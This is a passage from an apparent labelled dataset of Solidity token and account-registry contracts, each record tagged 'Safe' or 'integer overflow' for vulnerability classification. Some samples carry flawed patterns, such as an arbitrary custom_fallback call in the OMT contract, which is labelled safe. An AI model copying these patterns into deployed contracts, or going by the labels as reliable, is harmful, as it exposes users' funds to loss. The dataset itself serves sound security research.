data, string custom_fallback) public returns (bool ok); function transferFrom(address from, address to, uint256 amount, bytes data, string custom_fallback) public returns (bool ok); event ERC223Transfer(address indexed from, address indexed to, uint amount, bytes data); event ReceivingContractTokenFallbackFailed(address indexed from, address indexed to, uint amount); } contract OMT is DSToken(""OMT""), ERC223, Controlled { function OMT() { setName(""OTCMAKER Token""); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { // Alerts the token controller of the transfer if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) throw; } success = super.transferFrom(_from, _to, _amount); if (success && isContract(_to)) { // ERC20 backward compatiability if(!_to.call(bytes4(keccak256(""tokenFallback(address,uint256)"")), _from, _amount)) { // do nothing when error in call in case that the _to contract is not inherited from ERC223ReceivingContract // revert(); // bytes memory empty; ReceivingContractTokenFallbackFailed(_from, _to, _amount); // Even the fallback failed if there is such one, the transfer will not be revert since ""revert()"" is not called. } } } /* * ERC 223 * Added support for the ERC 223 ""tokenFallback"" method in a ""transfer"" function with a payload. */ function transferFrom(address _from, address _to, uint256 _amount, bytes _data) public returns (bool success) { // Alerts the token controller of the transfer if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) throw; } require(super.transferFrom(_from, _to, _amount)); if (isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(_from, _amount, _data); } ERC223Transfer(_from, _to, _amount, _data); return true; } /* * ERC 223 * Added support for the ERC 223 ""tokenFallback"" method in a ""transfer"" function with a payload. * https://github.com/ethereum/EIPs/issues/223 * function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); */ /// @notice Send `_value` tokens to `_to` from `msg.sender` and trigger /// tokenFallback if sender is a contract. /// @dev Function that is called when a user or another contract wants to transfer funds. /// @param _to Address of token receiver. /// @param _amount Number of tokens to transfer. /// @param _data Data to be sent to tokenFallback /// @return Returns success of function call. function transfer( address _to, uint256 _amount, bytes _data) public returns (bool success) { return transferFrom(msg.sender, _to, _amount, _data); } /* * ERC 223 * Added support for the ERC 223 ""tokenFallback"" method in a ""transfer"" function with a payload. */ function transferFrom(address _from, address _to, uint256 _amount, bytes _data, string _custom_fallback) public returns (bool success) { // Alerts the token controller of the transfer if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) throw; } require(super.transferFrom(_from, _to, _amount)); if (isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data); } ERC223Transfer(_from, _to, _amount, _data); return true; } /* * ERC 223 * Added support for the ERC 223 ""tokenFallback"" method in a ""transfer"" function with a payload. */ function transfer( address _to, uint _amount, bytes _data, string _custom_fallback) public returns (bool success) { return transferFrom(msg.sender, _to, _amount, _data, _custom_fallback); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) returns (bool success) { // Alerts the token controller of the approve function call if (isContract(controller)) { if (!TokenController(controller).onApprove(msg.sender, _spender, _amount)) throw; } return super.approve(_spender, _amount); } function mint(address _guy, uint _wad) auth stoppable { super.mint(_guy, _wad); Transfer(0, _guy, _wad); } function burn(address _guy, uint _wad) auth stoppable { super.burn(_guy, _wad); Transfer(_guy, 0, _wad); } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) returns (bool success) { if (!approve(_spender, _amount)) throw; ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () payable { if (isContract(controller)) { if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender)) throw; } else { throw; } } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }",Safe,8,8 1186.sol," contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract OpnMind is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function OpnMind() public { symbol = ""OPN""; name = ""OpnMind""; decimals = 2; _totalSupply = 3342879500; balances[0xd21B0C87fc63a876E5eE2dC82D777aFBA9d4a5e5] = _totalSupply; Transfer(address(0), 0xd21B0C87fc63a876E5eE2dC82D777aFBA9d4a5e5, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 0x017925fdb447544da8ed671b5305461cfc6c6e1d_AccountRegistryLogic.sol,"pragma solidity 0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract SigningLogicInterface { function recoverSigner(bytes32 _hash, bytes _sig) external pure returns (address); function generateRequestAttestationSchemaHash( address _subject, address _attester, address _requester, bytes32 _dataHash, uint256[] _typeIds, bytes32 _nonce ) external view returns (bytes32); function generateAttestForDelegationSchemaHash( address _subject, address _requester, uint256 _reward, bytes32 _paymentNonce, bytes32 _dataHash, uint256[] _typeIds, bytes32 _requestNonce ) external view returns (bytes32); function generateContestForDelegationSchemaHash( address _requester, uint256 _reward, bytes32 _paymentNonce ) external view returns (bytes32); function generateStakeForDelegationSchemaHash( address _subject, uint256 _value, bytes32 _paymentNonce, bytes32 _dataHash, uint256[] _typeIds, bytes32 _requestNonce, uint256 _stakeDuration ) external view returns (bytes32); function generateRevokeStakeForDelegationSchemaHash( uint256 _subjectId, uint256 _attestationId ) external view returns (bytes32); function generateAddAddressSchemaHash( address _senderAddress, bytes32 _nonce ) external view returns (bytes32); function generateVoteForDelegationSchemaHash( uint16 _choice, address _voter, bytes32 _nonce, address _poll ) external view returns (bytes32); function generateReleaseTokensSchemaHash( address _sender, address _receiver, uint256 _amount, bytes32 _uuid ) external view returns (bytes32); function generateLockupTokensDelegationSchemaHash( address _sender, uint256 _amount, bytes32 _nonce ) external view returns (bytes32); } interface AccountRegistryInterface { function accountIdForAddress(address _address) public view returns (uint256); function addressBelongsToAccount(address _address) public view returns (bool); function createNewAccount(address _newUser) external; function addAddressToAccount( address _newAddress, address _sender ) external; function removeAddressFromAccount(address _addressToRemove) external; } /** * @title Bloom account registry * @notice Account Registry Logic provides a public interface for Bloom and users to * create and control their Bloom Ids. * Users can associate create and accept invites and associate additional addresses with their BloomId. * As the Bloom protocol matures, this contract can be upgraded to enable new capabilities * without needing to migrate the underlying Account Registry storage contract. * * In order to invite someone, a user must generate a new public key private key pair * and sign their own ethereum address. The user provides this signature to the * `createInvite` function where the public key is recovered and the invite is created. * The inviter should then share the one-time-use private key out of band with the recipient. * The recipient accepts the invite by signing their own address and passing that signature * to the `acceptInvite` function. The contract should recover the same public key, demonstrating * that the recipient knows the secret and is likely the person intended to receive the invite. * * @dev This invite model is supposed to aid usability by not requiring the inviting user to know * the Ethereum address of the recipient. If the one-time-use private key is leaked then anyone * else can accept the invite. This is an intentional tradeoff of this invite system. A well built * dApp should generate the private key on the backend and sign the user's address for them. Likewise, * the signing should also happen on the backend (not visible to the user) for signing an address to * accept an invite. This reduces the private key exposure so that the dApp can still require traditional * checks like verifying an associated email address before finally signing the user's Ethereum address. * * @dev The private key generated for this invite system should NEVER be used for an Ethereum address. * The private key should be used only for the invite flow and then it should effectively be discarded. * * @dev If a user DOES know the address of the person they are inviting then they can still use this * invite system. All they have to do then is sign the address of the user being invited and share the * signature with them. */ contract AccountRegistryLogic is Ownable{ SigningLogicInterface public signingLogic; AccountRegistryInterface public registry; address public registryAdmin; /** * @notice The AccountRegistry constructor configures the signing logic implementation * and creates an account for the user who deployed the contract. * @dev The owner is also set as the original registryAdmin, who has the privilege to * create accounts outside of the normal invitation flow. * @param _signingLogic The address of the deployed SigningLogic contract * @param _registry The address of the deployed account registry */ constructor( SigningLogicInterface _signingLogic, AccountRegistryInterface _registry ) public { signingLogic = _signingLogic; registry = _registry; registryAdmin = owner; } event AccountCreated(uint256 indexed accountId, address indexed newUser); event InviteCreated(address indexed inviter, address indexed inviteAddress); event InviteAccepted(address recipient, address indexed inviteAddress); event AddressAdded(uint256 indexed accountId, address indexed newAddress); event AddressRemoved(uint256 indexed accountId, address indexed oldAddress); event RegistryAdminChanged(address oldRegistryAdmin, address newRegistryAdmin); event SigningLogicChanged(address oldSigningLogic, address newSigningLogic); event AccountRegistryChanged(address oldRegistry, address newRegistry); /** * @dev Addresses with Bloom accounts already are not allowed */ modifier onlyNonUser { require(!registry.addressBelongsToAccount(msg.sender)); _; } /** * @dev Addresses without Bloom accounts already are not allowed */ modifier onlyUser { require(registry.addressBelongsToAccount(msg.sender)); _; } /** * @dev Zero address not allowed */ modifier nonZero(address _address) { require(_address != 0); _; } /** * @dev Restricted to registryAdmin */ modifier onlyRegistryAdmin { require(msg.sender == registryAdmin); _; } // Signatures contain a nonce to make them unique. usedSignatures tracks which signatures // have been used so they can't be replayed mapping (bytes32 => bool) public usedSignatures; // Mapping of public keys as Ethereum addresses to invite information // NOTE: the address keys here are NOT Ethereum addresses, we just happen // to work with the public keys in terms of Ethereum address strings because // this is what `ecrecover` produces when working with signed text. mapping(address => bool) public pendingInvites; /** * @notice Change the implementation of the SigningLogic contract by setting a new address * @dev Restricted to AccountRegistry owner and new implementation address cannot be 0x0 * @param _newSigningLogic Address of new SigningLogic implementation */ function setSigningLogic(SigningLogicInterface _newSigningLogic) public nonZero(_newSigningLogic) onlyOwner { address oldSigningLogic = signingLogic; signingLogic = _newSigningLogic; emit SigningLogicChanged(oldSigningLogic, signingLogic); } /** * @notice Change the address of the registryAdmin, who has the privilege to create new accounts * @dev Restricted to AccountRegistry owner and new admin address cannot be 0x0 * @param _newRegistryAdmin Address of new registryAdmin */ function setRegistryAdmin(address _newRegistryAdmin) public onlyOwner nonZero(_newRegistryAdmin) { address _oldRegistryAdmin = registryAdmin; registryAdmin = _newRegistryAdmin; emit RegistryAdminChanged(_oldRegistryAdmin, registryAdmin); } /** * @notice Change the address of AccountRegistry, which enables authorization of subject comments * @dev Restricted to owner and new address cannot be 0x0 * @param _newRegistry Address of new Account Registry contract */ function setAccountRegistry(AccountRegistryInterface _newRegistry) public nonZero(_newRegistry) onlyOwner { address oldRegistry = registry; registry = _newRegistry; emit AccountRegistryChanged(oldRegistry, registry); } /** * @notice Create an invite using the signing model described in the contract description * @dev Recovers public key of invitation key pair using * @param _sig Signature of one-time-use keypair generated for invite */ function createInvite(bytes _sig) public onlyUser { address inviteAddress = signingLogic.recoverSigner(keccak256(abi.encodePacked(msg.sender)), _sig); require(!pendingInvites[inviteAddress]); pendingInvites[inviteAddress] = true; emit InviteCreated(msg.sender, inviteAddress); } /** * @notice Accept an invite using the signing model described in the contract description * @dev Recovers public key of invitation key pair * Assumes signed message matches format described in recoverSigner * Restricted to addresses that are not already registered by a user * Invite is accepted by setting recipient to nonzero address for invite associated with recovered public key * and creating an account for the sender * @param _sig Signature for `msg.sender` via the same key that issued the initial invite */ function acceptInvite(bytes _sig) public onlyNonUser { address inviteAddress = signingLogic.recoverSigner(keccak256(abi.encodePacked(msg.sender)), _sig); require(pendingInvites[inviteAddress]); pendingInvites[inviteAddress] = false; createAccountForUser(msg.sender); emit InviteAccepted(msg.sender, inviteAddress); } /** * @notice Create an account instantly without an invitation * @dev Restricted to the ""invite admin"" which is managed by the Bloom team * @param _newUser Address of the user receiving an account */ function createAccount(address _newUser) public onlyRegistryAdmin { createAccountForUser(_newUser); } /** * @notice Create an account for a user and emit an event * @dev Records address as taken so it cannot be used to sign up for another account * accountId is a unique ID across all users generated by calculating the length of the accounts array * addressId is the position in the unordered list of addresses associated with a user account * AccountInfo is a struct containing accountId and addressId so all addresses can be found for a user * new Login structs represent user accounts. The first one is pushed onto the array associated with a user's accountID * To push a new account onto the same Id, accounts array should be addressed accounts[_accountID - 1].push * @param _newUser Address of the new user */ function createAccountForUser(address _newUser) internal nonZero(_newUser) { registry.createNewAccount(_newUser); uint256 _accountId = registry.accountIdForAddress(_newUser); emit AccountCreated(_accountId, _newUser); } /** * @notice Add an address to an existing id on behalf of a user to pay the gas costs * @param _newAddress Address to add to account * @param _newAddressSig Signed message from new address confirming ownership by the sender * @param _senderSig Signed message from address currently associated with account confirming intention * @param _sender User requesting this action * @param _nonce uuid used when generating sigs to make them one time use */ function addAddressToAccountFor( address _newAddress, bytes _newAddressSig, bytes _senderSig, address _sender, bytes32 _nonce ) public onlyRegistryAdmin { addAddressToAccountForUser(_newAddress, _newAddressSig, _senderSig, _sender, _nonce); } /** * @notice Add an address to an existing id by a user * @dev Wrapper for addAddressTooAccountForUser with msg.sender as sender * @param _newAddress Address to add to account * @param _newAddressSig Signed message from new address confirming ownership by the sender * @param _senderSig Signed message from msg.sender confirming intention by the sender * @param _nonce uuid used when generating sigs to make them one time use */ function addAddressToAccount( address _newAddress, bytes _newAddressSig, bytes _senderSig, bytes32 _nonce ) public onlyUser { addAddressToAccountForUser(_newAddress, _newAddressSig, _senderSig, msg.sender, _nonce); } /** * @notice Add an address to an existing id * @dev Checks that new address signed _sig * @param _newAddress Address to add to account * @param _newAddressSig Signed message from new address confirming ownership by the sender * @param _senderSig Signed message from new address confirming ownership by the sender * @param _sender User requesting this action * @param _nonce uuid used when generating sigs to make them one time use */ function addAddressToAccountForUser( address _newAddress, bytes _newAddressSig, bytes _senderSig, address _sender, bytes32 _nonce ) private nonZero(_newAddress) { require(!usedSignatures[keccak256(abi.encodePacked(_newAddressSig))], ""Signature not unique""); require(!usedSignatures[keccak256(abi.encodePacked(_senderSig))], ""Signature not unique""); usedSignatures[keccak256(abi.encodePacked(_newAddressSig))] = true; usedSignatures[keccak256(abi.encodePacked(_senderSig))] = true; // Confirm new address is signed by current address bytes32 _currentAddressDigest = signingLogic.generateAddAddressSchemaHash(_newAddress, _nonce); require(_sender == signingLogic.recoverSigner(_currentAddressDigest, _senderSig)); // Confirm current address is signed by new address bytes32 _newAddressDigest = signingLogic.generateAddAddressSchemaHash(_sender, _nonce); require(_newAddress == signingLogic.recoverSigner(_newAddressDigest, _newAddressSig)); registry.addAddressToAccount(_newAddress, _sender); uint256 _accountId = registry.accountIdForAddress(_newAddress); emit AddressAdded(_accountId, _newAddress); } /** * @notice Remove an address from an account for a user * @dev Restricted to admin * @param _addressToRemove Address to remove from account */ function removeAddressFromAccountFor( address _addressToRemove ) public onlyRegistryAdmin { uint256 _accountId = registry.accountIdForAddress(_addressToRemove); registry.removeAddressFromAccount(_addressToRemove); emit AddressRemoved(_accountId, _addressToRemove); } }",Safe,8,8 333.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract CoinDisplayNetwork is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function CoinDisplayNetwork() public { symbol = ""CDN""; name = ""Coin Display Network""; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0xd76618b352D0bFC8014Fc44BF31Bd0F947331660] = _totalSupply; Transfer(address(0), 0xd76618b352D0bFC8014Fc44BF31Bd0F947331660, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 0x01cd3d9df5869ca7954745663bd6201c571e05cf_LULUToken.sol,"pragma solidity ^0.4.19; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract LULUToken is StandardToken { using SafeMath for uint256; string public name = ""LULU Token""; string public symbol = ""LULU""; string public releaseArr = '0000000000000000000'; uint public decimals = 18; function LULUToken() { totalSupply = 100000000000 * 1000000000000000000; balances[msg.sender] = totalSupply / 5; } function tokenRelease() public returns (string) { uint256 y2019 = 1557936000; uint256 y2020 = 1589558400; uint256 y2021 = 1621094400; uint256 y2022 = 1652630400; uint256 y2023 = 1684166400; if (now > y2019 && now <= 1573833600 && bytes(releaseArr)[0] == '0') { bytes(releaseArr)[0] = '1'; balances[msg.sender] = balances[msg.sender] + totalSupply / 10; return releaseArr; } else if (now > 1573833600 && now <= y2020 && bytes(releaseArr)[1] == '0') { bytes(releaseArr)[1] = '1'; balances[msg.sender] = balances[msg.sender] + totalSupply / 10; return releaseArr; } if (now > y2020 && now <= 1605456000 && bytes(releaseArr)[2] == '0') { bytes(releaseArr)[2] = '1'; balances[msg.sender] = balances[msg.sender] + totalSupply / 10; return releaseArr; } else if (now > 1605456000 && now <= y2021 && bytes(releaseArr)[3] == '0') { bytes(releaseArr)[3] = '1'; balances[msg.sender] = balances[msg.sender] + totalSupply / 10; return releaseArr; } if (now > y2021 && now <= 1636992000 && bytes(releaseArr)[4] == '0') { bytes(releaseArr)[4] = '1'; balances[msg.sender] = balances[msg.sender] + totalSupply / 10; return releaseArr; } else if (now > 1636992000 && now <= y2022 && bytes(releaseArr)[5] == '0') { bytes(releaseArr)[5] = '1'; balances[msg.sender] = balances[msg.sender] + totalSupply / 10; return releaseArr; } if (now > y2022 && now <= 1668528000 && bytes(releaseArr)[6] == '0') { bytes(releaseArr)[6] = '1'; balances[msg.sender] = balances[msg.sender] + totalSupply / 10; return releaseArr; }else if (now > 1668528000 && now <= y2023 && bytes(releaseArr)[7] == '0') { bytes(releaseArr)[7] = '1'; balances[msg.sender] = balances[msg.sender] + totalSupply / 10; return releaseArr; } return releaseArr; } }",Safe,8,8 1627.sol,"contract Token { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; event Transfer(address indexed from, address indexed to, uint256 value); function Token() { totalSupply = 10*(10**8)*(10**8); balanceOf[msg.sender] = 10*(10**8)*(10**8); name = ""DCB(one)""; symbol = ""DCB(one)""; decimals = 8; } function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value || balanceOf[_to] + _value < balanceOf[_to]) revert(); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } function () { revert(); } }",./Dataset/integer overflow (OF)/,4,4 1957.sol,"pragma solidity ^0.4.13; contract SafeMath { function safeMul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract DeepToken is SafeMath{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Freeze(address indexed from, uint256 value); event Unfreeze(address indexed from, uint256 value); function DeepToken() { totalSupply = 100*(10**8)*(10**18); balanceOf[msg.sender] = 100*(10**8)*(10**18); name = ""DeepToken""; symbol = ""DPT""; decimals = 18; } function transfer(address _to, uint256 _value) { if (_to == 0x0) throw; if (_value <= 0) throw; if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); } function approve(address _spender, uint256 _value) returns (bool success) { if (_value <= 0) throw; allowance[msg.sender][_spender] = _value; return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; if (_value <= 0) throw; if (balanceOf[_from] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; if (_value > allowance[_from][msg.sender]) throw; balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = 